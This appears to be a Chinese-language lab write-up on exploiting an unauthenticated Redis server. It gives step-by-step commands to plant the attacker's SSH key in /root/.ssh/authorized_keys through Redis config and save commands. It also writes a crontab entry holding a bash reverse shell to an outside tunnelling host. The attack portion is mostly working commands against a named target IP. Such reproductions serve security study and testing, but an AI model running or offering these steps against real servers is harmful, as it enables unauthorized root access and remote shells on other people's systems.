redis未授权复现(二)

靶机vps:ubantu

靶机ip：50.7.61.25
安装一个redis

wget http://download.redis.io/releases/redis-2.8.12.tar.gz 
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h

出现帮助菜单即安装成功

apt-get update
apt-get install redis-server
redis-server --port 8080

在靶机的8080端口启动redis

攻击机kali

如果kali没安装redis的话，参照上文安装即可
尝试连接靶机redis

./redis-cli -h 50.7.61.25 -p 8080

执行info命令有回显说明存在漏洞

利用方式

1. ssh免密钥登录
2. crontab反弹shell
3. 对redis数据库写马拿shell
4. 利用现有exp

（1）ssh免密钥登录

原理就是在数据库中插入一条数据，将本机的公钥作为value，key值随意，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里，这样就可以再服务器端的/root/.ssh下生一个授权的key。

首先在自己的电脑上生成key，我这里是空key

ssh-keygen -t rsa
cd /root/.ssh/

将公钥导入key.txt文件（前后用\n换行，避免和Redis里其他缓存数据混合）,再把key.txt文件内容写入目标主机的缓冲里：

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cd /root/桌面/redis-2.8.12/src
cat /root/.ssh/key.txt | ./redis-cli -h 50.7.61.25 -p 8080 -x set xxx

连接靶机的Redis

./redis-cli -h 50.7.61.25 -p 8080

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh
 
config set dbfilename authorized_keys

save

ssh连接靶机

ssh 50.7.61.25

（2）crontab反弹shell

kali使用nc监听一个端口
然后kali连接靶机redis

./redis-cli -h 50.7.61.25 -p 8080

注：默认端口6379，这里我在靶机启动redis时是在8080端口启动的

设置备份路径与保存文件名（这里是centos的cron目录，ubantu看下文）

config set dir /var/spool/cron
config set dbfilename root

设置crontab任务

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/server.natappfree.cc/34409 0>&1\n\n"
save

我这里的ip用natapp做了个内网穿透，直接将shell弹到我的win10真实机上

在win10真实机上监听端口

1分钟后直接失败
看了https://xz.aliyun.com/t/5665#toc-8后
发现错误在于我的vps是ubantu系统

因为默认redis写文件后是644的权限，但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行，否则会报错(root) INSECURE MODE (mode 0600 expected)，而Centos的定时任务文件/var/spool/cron/权限644也能执行

参考
https://blog.csdn.net/guxiaoguo/article/details/78913245
https://blog.csdn.net/Jiajiajiang_/article/details/81368212
https://blog.csdn.net/qq_40989258/article/details/103278810?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_baidulandingword-0&spm=1001.2101.3001.4242
https://xz.aliyun.com/t/5665#toc-8